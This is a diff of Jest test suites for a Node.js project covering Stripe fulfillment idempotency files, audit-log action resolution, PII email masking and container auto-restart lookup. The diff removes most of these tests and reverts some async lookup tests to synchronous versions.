|
||||||
const storeB = require('../src/billing/fulfillment-store').createFulfillmentStore({ filePath: path.join(dir, 'stripe-fulfillments.json') });
|
|
||||||
for (let i = 0; i < 6; i += 1) {
|
|
||||||
const a = await storeA.claim({ eventId: `evt_a${i}`, sessionId: `cs_a${i}`, productId: 'pro-30d', durationDays: 30, email: 'a@x.com' });
|
|
||||||
expect(a.claimed).toBe(true);
|
|
||||||
const b = await storeB.claim({ eventId: `evt_b${i}`, sessionId: `cs_b${i}`, productId: 'pro-30d', durationDays: 30, email: 'b@x.com' });
|
|
||||||
expect(b.claimed).toBe(true);
|
|
||||||
}
|
|
||||||
const file = path.join(dir, 'stripe-fulfillments.json');
|
|
||||||
const data = JSON.parse(fs.readFileSync(file, 'utf8'));
|
|
||||||
expect(Object.keys(data.byEventId)).toHaveLength(12);
|
|
||||||
const leftovers = fs.readdirSync(dir).filter((f) => f !== 'stripe-fulfillments.json');
|
|
||||||
expect(leftovers).toEqual([]);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
// DC-104: stripe-license-bridge events file (Stripe webhook idempotency
|
|
||||||
// log) migrated off its private tmp+writeFileSync+rename copy onto the
|
|
||||||
// canonical writer. A torn stripe-events.json silently drops event-ids —
|
|
||||||
// the next Stripe retry then re-runs delivery (duplicate license email /
|
|
||||||
// duplicate key mint when combined with a torn fulfillment record).
|
|
||||||
// Pins: 0600 on create, complete JSON after every recordEvent mutation,
|
|
||||||
// no temp leftovers, and the full read-modify-write dedupe cycle through
|
|
||||||
// the bridge's exported functions. (The ignored-type / unpaid-status
|
|
||||||
// write classes route through the same writeEvents and are driven
|
|
||||||
// end-to-end in __tests__/billing/stripe-license-bridge.test.js.)
|
|
||||||
describe('DC-104 bridge events file on canonical atomic-write (real fs)', () => {
|
|
||||||
let dir;
|
|
||||||
|
|
||||||
beforeEach(() => {
|
|
||||||
dir = fs.mkdtempSync(path.join(os.tmpdir(), 'dc104-events-'));
|
|
||||||
process.env.STRIPE_BRIDGE_EVENTS_FILE = path.join(dir, 'stripe-events.json');
|
|
||||||
jest.resetModules();
|
|
||||||
});
|
|
||||||
afterEach(() => {
|
|
||||||
delete process.env.STRIPE_BRIDGE_EVENTS_FILE;
|
|
||||||
try { fs.rmSync(dir, { recursive: true, force: true }); } catch (_) {}
|
|
||||||
});
|
|
||||||
|
|
||||||
test('recordEvent → eventSeen dedupe cycle lands at 0600, complete JSON, no temp leftovers', () => {
|
|
||||||
// Env is captured at require time — resetModules above makes this
|
|
||||||
// require see the fresh STRIPE_BRIDGE_EVENTS_FILE.
|
|
||||||
const bridge = require('../scripts/stripe-license-bridge');
|
|
||||||
|
|
||||||
const first = bridge.recordEvent('evt_dc104_a', { ignoredType: 'product.updated' });
|
|
||||||
expect(first).toBe(true); // new event recorded
|
|
||||||
expect(bridge.eventSeen('evt_dc104_a')).toBe(true);
|
|
||||||
expect(bridge.eventSeen('evt_dc104_unknown')).toBe(false);
|
|
||||||
|
|
||||||
const dup = bridge.recordEvent('evt_dc104_a', { ignoredType: 'product.updated' });
|
|
||||||
expect(dup).toBe(false); // idempotent — already present
|
|
||||||
|
|
||||||
const file = path.join(dir, 'stripe-events.json');
|
|
||||||
const st = fs.statSync(file);
|
|
||||||
expect(st.mode & 0o777).toBe(0o600); // canonical writer default
|
|
||||||
|
|
||||||
// complete JSON carrying the event — a torn write would fail parse here
|
|
||||||
const data = JSON.parse(fs.readFileSync(file, 'utf8'));
|
|
||||||
expect(data.events['evt_dc104_a'].ignoredType).toBe('product.updated');
|
|
||||||
|
|
||||||
const leftovers = fs.readdirSync(dir).filter((f) => f !== 'stripe-events.json');
|
|
||||||
expect(leftovers).toEqual([]); // no tmp survivors
|
|
||||||
});
|
|
||||||
|
|
||||||
test('back-to-back recordEvent writes parse complete after every mutation', () => {
|
|
||||||
const bridge = require('../scripts/stripe-license-bridge');
|
|
||||||
for (let i = 0; i < 8; i += 1) {
|
|
||||||
const ok = bridge.recordEvent(`evt_dc104_seq_${i}`, { ignoredType: 'product.updated', seq: i });
|
|
||||||
expect(ok).toBe(true);
|
|
||||||
const file = path.join(dir, 'stripe-events.json');
|
|
||||||
const data = JSON.parse(fs.readFileSync(file, 'utf8')); // throws on torn write
|
|
||||||
expect(Object.keys(data.events)).toHaveLength(i + 1);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
});
|
|
||||||
@@ -1,226 +0,0 @@
|
|||||||
/**
|
|
||||||
* DC-111 regression pins — audit trail correctness for the SSO gate path.
|
|
||||||
*
|
|
||||||
* THREE live defects found 2026-08-23 by probing the production container
|
|
||||||
* (45,899 'unknown.get' entries in audit-log.json / security-events.jsonl
|
|
||||||
* spanning 2026-07-14 → 2026-08-23, plus failed actions dropped from the
|
|
||||||
* unified security event store):
|
|
||||||
*
|
|
||||||
* 1. audit-logger.middleware() computed action/resource from req.path
|
|
||||||
* INSIDE the res.json override — i.e. AFTER the /api/v1 router had
|
|
||||||
* rebased req.url to the router-relative path (/auth/gate/plex).
|
|
||||||
* resolveAction fell through ACTION_MAP → 'unknown.get' for every
|
|
||||||
* gate hit over HTTP. DC-028's unit tests passed because they call
|
|
||||||
* resolveAction() directly with canonical paths and never exercise
|
|
||||||
* the middleware over HTTP.
|
|
||||||
*
|
|
||||||
* 2. The DC-044 back-compat shim rewrote the ALREADY-canonical
|
|
||||||
* /api/v1/auth/gate/<id> (and app-token) through '/api/v1' +
|
|
||||||
* slice(4), producing /api/v1/v1/auth/gate/<id> → 401/404 for every
|
|
||||||
* canonical-URI client — the exact drift case DC-044 meant to tolerate.
|
|
||||||
*
|
|
||||||
* 3. event-store VALID_OUTCOMES lacked 'failure' (the audit middleware's
|
|
||||||
* vocabulary for data.success === false), so every failed API action's
|
|
||||||
* security event was REJECTED and dropped from security-events.jsonl
|
|
||||||
* ([AuditLogger] Security event emit failed: Invalid event: bad
|
|
||||||
* outcome: failure — seen live in docker logs).
|
|
||||||
*
|
|
||||||
* These tests exercise a REAL Express app (not the module in isolation):
|
|
||||||
* the app-level DC-044 shim + audit middleware + a /api/v1 router that
|
|
||||||
* mounts the gate route the same way src/app.js does, so the router-rebase
|
|
||||||
* behavior that caused defect 1 is reproduced faithfully.
|
|
||||||
*/
|
|
||||||
|
|
||||||
const path = require('path');
|
|
||||||
const fs = require('fs');
|
|
||||||
const os = require('os');
|
|
||||||
const express = require('express');
|
|
||||||
const request = require('supertest');
|
|
||||||
|
|
||||||
// Hermetic sinks (same pattern as audit-logger-pii-masking-dc110.test.js)
|
|
||||||
const TMP_DIR = fs.mkdtempSync(path.join(os.tmpdir(), 'dc111-audit-'));
|
|
||||||
process.env.AUDIT_LOG_FILE = path.join(TMP_DIR, 'audit-log.json');
|
|
||||||
process.env.SECURITY_EVENT_LOG_FILE = path.join(TMP_DIR, 'security-events.jsonl');
|
|
||||||
|
|
||||||
const auditLogger = require('../src/security/audit-logger');
|
|
||||||
const { getStore } = require('../src/security/event-store');
|
|
||||||
|
|
||||||
// Reset singleton state between tests so audit-log.json assertions see a
|
|
||||||
// clean file (the singleton StateManager caches nothing across writes, but
|
|
||||||
// the event store keeps an in-memory index — point it at a fresh file by
|
|
||||||
// writing directly and asserting file contents only).
|
|
||||||
beforeEach(() => {
|
|
||||||
fs.writeFileSync(process.env.AUDIT_LOG_FILE, '[]', 'utf8');
|
|
||||||
fs.writeFileSync(process.env.SECURITY_EVENT_LOG_FILE, '', 'utf8');
|
|
||||||
});
|
|
||||||
|
|
||||||
// Faithful mirror of the src/app.js mount chain relevant to this bug:
|
|
||||||
// app-level legacy-path shim → audit middleware → /api/v1 router
|
|
||||||
// with the gate route mounted at /auth/gate/:serviceId (as routes/auth
|
|
||||||
// does), answering via res.json so the audit override fires.
|
|
||||||
function buildApp() {
|
|
||||||
const app = express();
|
|
||||||
|
|
||||||
// DC-044 shim — EXACT copy of the fixed src/app.js logic
|
|
||||||
app.use((req, res, next) => {
|
|
||||||
if (req.url.startsWith('/api/auth/gate/')
|
|
||||||
|| req.url.startsWith('/api/auth/app-token/')
|
|
||||||
|| req.url.startsWith('/api/auth/sso-exchange')) {
|
|
||||||
req.url = '/api/v1' + req.url.slice(4);
|
|
||||||
} else if (req.url.startsWith('/api/auth/totp/check-session')) {
|
|
||||||
req.url = '/api/v1' + req.url.slice(9);
|
|
||||||
} else if (req.url.startsWith('/api/v1/auth/totp/check-session')) {
|
|
||||||
req.url = '/api/v1' + req.url.slice(12);
|
|
||||||
}
|
|
||||||
next();
|
|
||||||
});
|
|
||||||
|
|
||||||
app.use(auditLogger.middleware());
|
|
||||||
|
|
||||||
const apiRouter = express.Router();
|
|
||||||
apiRouter.get('/auth/gate/:serviceId', (req, res) => {
|
|
||||||
// Simulate both outcomes: ?fail=1 makes the handler answer
|
|
||||||
// success:false so the audit middleware records outcome 'failure'.
|
|
||||||
if (req.query.fail === '1') {
|
|
||||||
return res.status(401).json({ success: false, error: 'Session expired or invalid' });
|
|
||||||
}
|
|
||||||
res.json({ success: true, authenticated: true, credentialsInjected: false });
|
|
||||||
});
|
|
||||||
app.use('/api/v1', apiRouter);
|
|
||||||
return app;
|
|
||||||
}
|
|
||||||
|
|
||||||
async function waitForAuditEntry(predicate, { timeoutMs = 3000, what } = {}) {
|
|
||||||
const start = Date.now();
|
|
||||||
for (;;) {
|
|
||||||
// StateManager's write is truncate-then-write (non-atomic, DC-110
|
|
||||||
// lesson): a poll can catch the file between truncate and rewrite.
|
|
||||||
// Treat unparsable reads as "not yet" instead of crashing.
|
|
||||||
let entries;
|
|
||||||
try {
|
|
||||||
entries = JSON.parse(fs.readFileSync(process.env.AUDIT_LOG_FILE, 'utf8'));
|
|
||||||
} catch (_) {
|
|
||||||
entries = [];
|
|
||||||
}
|
|
||||||
const hit = entries.find(predicate);
|
|
||||||
if (hit) return hit;
|
|
||||||
if (Date.now() - start > timeoutMs) throw new Error(`timeout waiting for ${what || 'audit entry'}`);
|
|
||||||
await new Promise(r => setTimeout(r, 50));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
function readMirrorLines() {
|
|
||||||
const raw = fs.readFileSync(process.env.SECURITY_EVENT_LOG_FILE, 'utf8');
|
|
||||||
return raw.split('\n').filter(Boolean).map(l => JSON.parse(l));
|
|
||||||
}
|
|
||||||
|
|
||||||
describe('DC-111 defect 1: audit action/resource computed from pre-router path', () => {
|
|
||||||
test('canonical /api/v1/auth/gate/<id> logs as auth.credential-injection, not unknown.get', async () => {
|
|
||||||
const app = buildApp();
|
|
||||||
const res = await request(app).get('/api/v1/auth/gate/plex');
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
|
|
||||||
const entry = await waitForAuditEntry(
|
|
||||||
e => e.action === 'auth.credential-injection' && e.resource === 'gate/plex',
|
|
||||||
{ what: 'auth.credential-injection entry' }
|
|
||||||
);
|
|
||||||
expect(entry.outcome).toBe('success');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('legacy /api/auth/gate/<id> (what Caddy forward_auth sends) also resolves the named action', async () => {
|
|
||||||
const app = buildApp();
|
|
||||||
const res = await request(app).get('/api/auth/gate/jellyfin');
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
|
|
||||||
const entry = await waitForAuditEntry(
|
|
||||||
e => e.action === 'auth.credential-injection' && e.resource === 'gate/jellyfin',
|
|
||||||
{ what: 'legacy-shape credential-injection entry' }
|
|
||||||
);
|
|
||||||
expect(entry.outcome).toBe('success');
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('DC-111 defect 2: DC-044 shim must not double-prefix canonical paths', () => {
|
|
||||||
test('canonical /api/v1/auth/gate/<id> still reaches the route (no /api/v1/v1 rewrite)', async () => {
|
|
||||||
const app = buildApp();
|
|
||||||
const res = await request(app).get('/api/v1/auth/gate/plex');
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
expect(res.body.success).toBe(true);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('legacy /api/auth/gate/<id> still reaches the route (shim keeps working)', async () => {
|
|
||||||
const app = buildApp();
|
|
||||||
const res = await request(app).get('/api/auth/gate/plex');
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
expect(res.body.success).toBe(true);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('legacy totp check-session rewrite unchanged', async () => {
|
|
||||||
const app = buildApp();
|
|
||||||
// Route not mounted in this harness — assert the rewrite by querying the
|
|
||||||
// shim behavior indirectly: /api/auth/totp/check-session must NOT 404 as
|
|
||||||
// /v1/totp/... it becomes /api/v1/totp/check-session (unmounted → 404
|
|
||||||
// from the api router, which proves it was NOT left under /auth).
|
|
||||||
const res = await request(app).get('/api/auth/totp/check-session');
|
|
||||||
expect(res.status).toBe(404);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('DC-111 defect 3: failed actions must land in the unified security event store', () => {
|
|
||||||
test("outcome 'failure' is accepted by the event store", async () => {
|
|
||||||
const app = buildApp();
|
|
||||||
const res = await request(app).get('/api/v1/auth/gate/plex?fail=1');
|
|
||||||
expect(res.status).toBe(401);
|
|
||||||
|
|
||||||
const entry = await waitForAuditEntry(
|
|
||||||
e => e.outcome === 'failure' && e.resource === 'gate/plex',
|
|
||||||
{ what: 'failure audit entry' }
|
|
||||||
);
|
|
||||||
expect(entry.action).toBe('auth.credential-injection');
|
|
||||||
|
|
||||||
// Mirror write is async after the audit entry — poll the jsonl
|
|
||||||
const start = Date.now();
|
|
||||||
for (;;) {
|
|
||||||
const lines = readMirrorLines();
|
|
||||||
const ev = lines.find(l => (l.metadata || {}).audit_id === entry.id);
|
|
||||||
if (ev) {
|
|
||||||
expect(ev.outcome).toBe('failure');
|
|
||||||
expect(ev.action).toBe('auth.credential-injection');
|
|
||||||
expect(ev.severity).toBe('warn'); // auth.* + failure escalates per resolveSeverity
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
if (Date.now() - start > 3000) throw new Error('mirror event never written for failed action');
|
|
||||||
await new Promise(r => setTimeout(r, 50));
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
test('VALID_OUTCOMES includes failure (unit pin on the set itself)', () => {
|
|
||||||
// Direct pin so a future revert of the event-store change fails loudly.
|
|
||||||
const store = getStore();
|
|
||||||
const bad = store._validate({ source_type: 'api', severity: 'info', outcome: 'failure' });
|
|
||||||
expect(bad).toBeNull();
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('DC-111: historical-corpus shape must never regress', () => {
|
|
||||||
test('no unknown.get entries are produced for gate traffic (canonical or legacy)', async () => {
|
|
||||||
const app = buildApp();
|
|
||||||
await request(app).get('/api/v1/auth/gate/plex');
|
|
||||||
await request(app).get('/api/auth/gate/plex');
|
|
||||||
await request(app).get('/api/v1/auth/gate/sonarr?fail=1');
|
|
||||||
|
|
||||||
await waitForAuditEntry(e => e.resource === 'gate/sonarr' && e.outcome === 'failure', {
|
|
||||||
timeoutMs: 6000,
|
|
||||||
what: 'third entry',
|
|
||||||
});
|
|
||||||
// give the async log() a beat to finish all three
|
|
||||||
await new Promise(r => setTimeout(r, 300));
|
|
||||||
|
|
||||||
const entries = JSON.parse(fs.readFileSync(process.env.AUDIT_LOG_FILE, 'utf8'));
|
|
||||||
const unknownGate = entries.filter(e => e.action.startsWith('unknown.'));
|
|
||||||
expect(unknownGate).toEqual([]);
|
|
||||||
// Each fired request must be present; supertest may issue an extra
|
|
||||||
// redirect-following request on some code paths, so assert >= not ==.
|
|
||||||
expect(entries.filter(e => e.action === 'auth.credential-injection').length).toBeGreaterThanOrEqual(3);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
@@ -1,173 +0,0 @@
|
|||||||
/**
|
|
||||||
* Tests for audit-logger PII masking parity [DC-110]:
|
|
||||||
* - audit-logger.js (the StateManager write path) must mask emails with
|
|
||||||
* the SAME canonical primitives as the unified logger (DC-095):
|
|
||||||
* resource strings (URL paths like /invites/<email>/accept) and deep
|
|
||||||
* details objects (req.body.email, DC-048 userEmail attribution).
|
|
||||||
* - Masking happens at the single write-point log(), so middleware AND
|
|
||||||
* direct route calls are both covered.
|
|
||||||
* - Middleware's sensitive-key '***' redaction (password/token/…)
|
|
||||||
* survives — masking runs on the already-sanitized object.
|
|
||||||
* - The caller's `details` object is never mutated (maskEmails clones).
|
|
||||||
*
|
|
||||||
* Hermetic: AUDIT_LOG_FILE and SECURITY_EVENT_LOG_FILE are pointed at a
|
|
||||||
* tmp dir BEFORE the require — both modules resolve paths at load time.
|
|
||||||
*
|
|
||||||
* Read discipline: StateManager writes via fs.writeFile (truncate-then-
|
|
||||||
* write, NOT atomic) and middleware fires log() unawaited, so a fixed
|
|
||||||
* sleep can observe a 0-byte file mid-write. waitForEntries() polls for
|
|
||||||
* the expected entry COUNT — deterministic under lock retries.
|
|
||||||
*/
|
|
||||||
|
|
||||||
const os = require('os');
|
|
||||||
const path = require('path');
|
|
||||||
const fs = require('fs');
|
|
||||||
|
|
||||||
const TMP_DIR = fs.mkdtempSync(path.join(os.tmpdir(), 'dc110-audit-'));
|
|
||||||
process.env.AUDIT_LOG_FILE = path.join(TMP_DIR, 'audit-log.json');
|
|
||||||
process.env.SECURITY_EVENT_LOG_FILE = path.join(TMP_DIR, 'security-events.jsonl');
|
|
||||||
|
|
||||||
const AuditLogger = require('../src/security/audit-logger');
|
|
||||||
|
|
||||||
async function waitForEntries(count, timeoutMs = 5000) {
|
|
||||||
const deadline = Date.now() + timeoutMs;
|
|
||||||
for (;;) {
|
|
||||||
try {
|
|
||||||
const entries = JSON.parse(fs.readFileSync(process.env.AUDIT_LOG_FILE, 'utf8'));
|
|
||||||
if (Array.isArray(entries) && entries.length >= count) return entries;
|
|
||||||
} catch (_) { /* not yet: 0-byte mid-write or unparsed */ }
|
|
||||||
if (Date.now() > deadline) throw new Error(`timed out waiting for ${count} audit entries`);
|
|
||||||
await new Promise(r => setTimeout(r, 15));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
describe('AuditLogger [DC-110] PII masking parity', () => {
|
|
||||||
test('log() masks emails in resource path and deep details', async () => {
|
|
||||||
await AuditLogger.log({
|
|
||||||
action: 'invite.create',
|
|
||||||
resource: 'invites/john.doe@example.com/accept',
|
|
||||||
details: {
|
|
||||||
body: { email: 'jane.doe@example.com', role: 'admin' },
|
|
||||||
userEmail: 'sami@example.org',
|
|
||||||
},
|
|
||||||
outcome: 'success',
|
|
||||||
ip: '10.1.2.3',
|
|
||||||
});
|
|
||||||
const entries = await waitForEntries(1);
|
|
||||||
expect(entries).toHaveLength(1);
|
|
||||||
const e = entries[0];
|
|
||||||
// resource: local part truncated to 2 chars + **** + domain, path suffix kept
|
|
||||||
expect(e.resource).toBe('invites/jo****@example.com/accept');
|
|
||||||
// deep details masked with the canonical shape
|
|
||||||
expect(e.details.body.email).toBe('ja****@example.com');
|
|
||||||
expect(e.details.userEmail).toBe('sa****@example.org');
|
|
||||||
expect(e.details.body.role).toBe('admin'); // non-PII untouched
|
|
||||||
// structural fields untouched
|
|
||||||
expect(e.action).toBe('invite.create');
|
|
||||||
expect(e.outcome).toBe('success');
|
|
||||||
expect(e.ip).toBe('10.1.2.3');
|
|
||||||
expect(e.id).toMatch(/^[0-9a-f-]{36}$/);
|
|
||||||
// no raw email anywhere in the serialized file
|
|
||||||
const raw = fs.readFileSync(process.env.AUDIT_LOG_FILE, 'utf8');
|
|
||||||
expect(raw).not.toContain('john.doe@example.com');
|
|
||||||
expect(raw).not.toContain('jane.doe@example.com');
|
|
||||||
expect(raw).not.toContain('sami@example.org');
|
|
||||||
expect(raw).not.toContain('.doe@'); // no partial-local leaks either
|
|
||||||
});
|
|
||||||
|
|
||||||
test("caller's details object is never mutated", async () => {
|
|
||||||
const details = { body: { email: 'orig@example.com' }, userEmail: 'orig2@example.net' };
|
|
||||||
const before = JSON.stringify(details);
|
|
||||||
await AuditLogger.log({ action: 'x.y', resource: 'r', details, outcome: 'success', ip: '' });
|
|
||||||
const entries = await waitForEntries(2);
|
|
||||||
expect(JSON.stringify(details)).toBe(before); // untouched at the call site
|
|
||||||
expect(entries[0].details.body.email).toBe('or****@example.com'); // masked only in the entry
|
|
||||||
});
|
|
||||||
|
|
||||||
test('middleware end-to-end: body, note, userEmail land masked; *** redaction survives', async () => {
|
|
||||||
const mw = AuditLogger.middleware();
|
|
||||||
const req = {
|
|
||||||
method: 'POST',
|
|
||||||
path: '/api/v1/invites',
|
|
||||||
ip: '192.168.1.50',
|
|
||||||
body: {
|
|
||||||
email: 'invitee@example.com',
|
|
||||||
note: 'for jane.doe@corp.example.com',
|
|
||||||
password: 'hunter2',
|
|
||||||
token: 'abc123',
|
|
||||||
},
|
|
||||||
params: {},
|
|
||||||
user: { id: 'u1', role: 'admin', email: 'admin@example.io' },
|
|
||||||
};
|
|
||||||
const res = { json: jest.fn() };
|
|
||||||
mw(req, res, () => {});
|
|
||||||
res.json({ success: true });
|
|
||||||
const entries = await waitForEntries(3);
|
|
||||||
const e = entries[0];
|
|
||||||
expect(e.details.body.email).toBe('in****@example.com');
|
|
||||||
expect(e.details.body.note).toBe('for ja****@corp.example.com');
|
|
||||||
// sensitive-key redaction (middleware sanitize) intact alongside masking
|
|
||||||
expect(e.details.body.password).toBe('***');
|
|
||||||
expect(e.details.body.token).toBe('***');
|
|
||||||
// DC-048 attribution intact + masked
|
|
||||||
expect(e.details.userId).toBe('u1');
|
|
||||||
expect(e.details.userEmail).toBe('ad****@example.io');
|
|
||||||
expect(e.outcome).toBe('success');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('already-masked entries stay stable (idempotent shape)', async () => {
|
|
||||||
await AuditLogger.log({
|
|
||||||
action: 'x.masked',
|
|
||||||
resource: 'users/jo****@example.com/reset',
|
|
||||||
details: { body: { email: 'jo****@example.com' } },
|
|
||||||
outcome: 'success',
|
|
||||||
ip: '',
|
|
||||||
});
|
|
||||||
const entries = await waitForEntries(4);
|
|
||||||
const e = entries[0];
|
|
||||||
// '*' is not in the local-part class, so the masked form does not re-match
|
|
||||||
expect(e.resource).toBe('users/jo****@example.com/reset');
|
|
||||||
expect(e.details.body.email).toBe('jo****@example.com');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('entries without emails are structurally unchanged', async () => {
|
|
||||||
await AuditLogger.log({
|
|
||||||
action: 'service.create',
|
|
||||||
resource: 'services/nginx',
|
|
||||||
details: { body: { name: 'nginx', port: 8080 } },
|
|
||||||
outcome: 'success',
|
|
||||||
ip: '172.16.0.4',
|
|
||||||
});
|
|
||||||
const entries = await waitForEntries(5);
|
|
||||||
const e = entries[0];
|
|
||||||
expect(e.resource).toBe('services/nginx');
|
|
||||||
expect(e.details.body.name).toBe('nginx');
|
|
||||||
expect(e.details.body.port).toBe(8080);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('security-event mirror carries MASKED target/message (judge round-2 fix)', async () => {
|
|
||||||
await AuditLogger.log({
|
|
||||||
action: 'invite.create',
|
|
||||||
resource: 'invites/john.doe@example.com/accept',
|
|
||||||
details: { body: { email: 'jane.doe@example.com' } },
|
|
||||||
outcome: 'success',
|
|
||||||
ip: '10.5.5.5',
|
|
||||||
});
|
|
||||||
// The mirror write is queued by event-store — poll for our line to land.
|
|
||||||
const deadline = Date.now() + 5000;
|
|
||||||
let mirrorRaw = '';
|
|
||||||
for (;;) {
|
|
||||||
try { mirrorRaw = fs.readFileSync(process.env.SECURITY_EVENT_LOG_FILE, 'utf8'); } catch (_) {}
|
|
||||||
if (mirrorRaw.includes('invite.create')) break;
|
|
||||||
if (Date.now() > deadline) throw new Error('mirror line never landed in security-events.jsonl');
|
|
||||||
await new Promise(r => setTimeout(r, 15));
|
|
||||||
}
|
|
||||||
const line = mirrorRaw.split('\n').find(l => l.includes('invite.create'));
|
|
||||||
const ev = JSON.parse(line);
|
|
||||||
expect(ev.target).toBe('invites/jo****@example.com/accept');
|
|
||||||
expect(ev.message).toBe('invite.create success on invites/jo****@example.com/accept');
|
|
||||||
// no raw email anywhere in the mirror file
|
|
||||||
expect(mirrorRaw).not.toContain('john.doe@example.com');
|
|
||||||
expect(mirrorRaw).not.toContain('jane.doe@example.com');
|
|
||||||
});
|
|
||||||
});
|
|
||||||
@@ -336,77 +336,32 @@ describe('AutoRestartManager', () => {
|
|||||||
});
|
});
|
||||||
|
|
||||||
describe('_resolveContainerId', () => {
|
describe('_resolveContainerId', () => {
|
||||||
test('returns containerId from status.details when present', async () => {
|
test('returns containerId from status.details when present', () => {
|
||||||
const { manager } = makeManager();
|
const { manager } = makeManager();
|
||||||
const cid = await manager._resolveContainerId('svc-1', { details: { containerId: 'cid-details' } });
|
const cid = manager._resolveContainerId('svc-1', { details: { containerId: 'cid-details' } });
|
||||||
expect(cid).toBe('cid-details');
|
expect(cid).toBe('cid-details');
|
||||||
});
|
});
|
||||||
|
|
||||||
test('falls back to healthChecker.config.services[serviceId].containerId', async () => {
|
test('falls back to healthChecker.config.services[serviceId].containerId', () => {
|
||||||
const { manager, healthChecker } = makeManager();
|
const { manager, healthChecker } = makeManager();
|
||||||
healthChecker.config = { services: { 'svc-1': { containerId: 'cid-hc' } } };
|
healthChecker.config = { services: { 'svc-1': { containerId: 'cid-hc' } } };
|
||||||
const cid = await manager._resolveContainerId('svc-1', { details: {} });
|
const cid = manager._resolveContainerId('svc-1', { details: {} });
|
||||||
expect(cid).toBe('cid-hc');
|
expect(cid).toBe('cid-hc');
|
||||||
});
|
});
|
||||||
|
|
||||||
test('DC-060: awaits async servicesStateManager.read() and resolves containerId', async () => {
|
test('falls back to servicesStateManager.read when sync list is returned', () => {
|
||||||
// Regression test for the auto-restart silently no-op bug:
|
|
||||||
// _resolveContainerId used to fire servicesStateManager.read() via
|
|
||||||
// .then(...) and discard the result. Callers gated on the return
|
|
||||||
// value, so a healthy→unhealthy transition whose only containerId
|
|
||||||
// source was the async state manager never triggered handleContainerDown.
|
|
||||||
const { manager, servicesStateManager } = makeManager();
|
const { manager, servicesStateManager } = makeManager();
|
||||||
servicesStateManager.read.mockResolvedValue([
|
servicesStateManager.read.mockReturnValue([
|
||||||
{ id: 'svc-1', containerId: 'cid-state' },
|
{ id: 'svc-1', containerId: 'cid-state' },
|
||||||
]);
|
]);
|
||||||
const cid = await manager._resolveContainerId('svc-1', { details: {} });
|
const cid = manager._resolveContainerId('svc-1', { details: {} });
|
||||||
expect(cid).toBe('cid-state');
|
expect(cid).toBe('cid-state');
|
||||||
});
|
});
|
||||||
|
|
||||||
test('returns null when no source has a containerId', async () => {
|
test('returns null when no source has a containerId', () => {
|
||||||
const { manager } = makeManager();
|
const { manager } = makeManager();
|
||||||
const cid = await manager._resolveContainerId('svc-unknown', { details: {} });
|
const cid = manager._resolveContainerId('svc-unknown', { details: {} });
|
||||||
expect(cid).toBeNull();
|
expect(cid).toBeNull();
|
||||||
});
|
});
|
||||||
|
|
||||||
test('swallows servicesStateManager.read() rejection', async () => {
|
|
||||||
const { manager, servicesStateManager } = makeManager();
|
|
||||||
servicesStateManager.read.mockRejectedValue(new Error('disk gone'));
|
|
||||||
const cid = await manager._resolveContainerId('svc-1', { details: {} });
|
|
||||||
expect(cid).toBeNull();
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('DC-060: healthy→unhealthy transitions trigger restart via async lookup', () => {
|
|
||||||
test('handleContainerDown is invoked with containerId from async state-manager lookup', async () => {
|
|
||||||
// End-to-end: containerId comes ONLY from servicesStateManager.read()
|
|
||||||
// (the production path for services.json-backed deployments).
|
|
||||||
const { manager, docker, servicesStateManager } = makeManager();
|
|
||||||
docker.client.getContainer.mockReturnValue({
|
|
||||||
start: jest.fn().mockResolvedValue(undefined),
|
|
||||||
});
|
|
||||||
await manager.setPolicy('svc-1', { maxRetries: 3, retryIntervalMs: 0 });
|
|
||||||
manager._previousHealth.set('svc-1', 'up');
|
|
||||||
servicesStateManager.read.mockResolvedValue([
|
|
||||||
{ id: 'svc-1', containerId: 'cid-from-state' },
|
|
||||||
]);
|
|
||||||
|
|
||||||
const handleDownSpy = jest.spyOn(manager, 'handleContainerDown');
|
|
||||||
await manager._handleStatusCheck({ serviceId: 'svc-1', status: 'down' });
|
|
||||||
expect(handleDownSpy).toHaveBeenCalledWith('svc-1', 'cid-from-state');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('handleContainerDown is NOT invoked when async lookup returns no containerId', async () => {
|
|
||||||
const { manager, servicesStateManager } = makeManager();
|
|
||||||
await manager.setPolicy('svc-1', { maxRetries: 3, retryIntervalMs: 0 });
|
|
||||||
manager._previousHealth.set('svc-1', 'up');
|
|
||||||
servicesStateManager.read.mockResolvedValue([
|
|
||||||
{ id: 'svc-1' /* no containerId */ },
|
|
||||||
]);
|
|
||||||
|
|
||||||
const handleDownSpy = jest.spyOn(manager, 'handleContainerDown');
|
|
||||||
await manager._handleStatusCheck({ serviceId: 'svc-1', status: 'down' });
|
|
||||||
expect(handleDownSpy).not.toHaveBeenCalled();
|
|
||||||
});
|
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|||||||
@@ -1,454 +0,0 @@
|
|||||||
/**
|
|
||||||
* Invoice rendering tests — DC-058.
|
|
||||||
*
|
|
||||||
* Pure functions. No live network, no SMTP, no Stripe SDK. Covers:
|
|
||||||
* - HTML escaping for every user-controlled field
|
|
||||||
* - CRLF/control-char neutralization (SMTP header injection defense)
|
|
||||||
* - Plain-text fallback has the same content
|
|
||||||
* - PDF is a valid PDF (magic bytes + loadable by pdf-parse)
|
|
||||||
* - Invoice number derived from event id (deterministic)
|
|
||||||
* - Catalog integration: missing productId still produces valid output
|
|
||||||
*
|
|
||||||
* Pairs with stripe-license-bridge.test.js (which covers the SMTP wiring
|
|
||||||
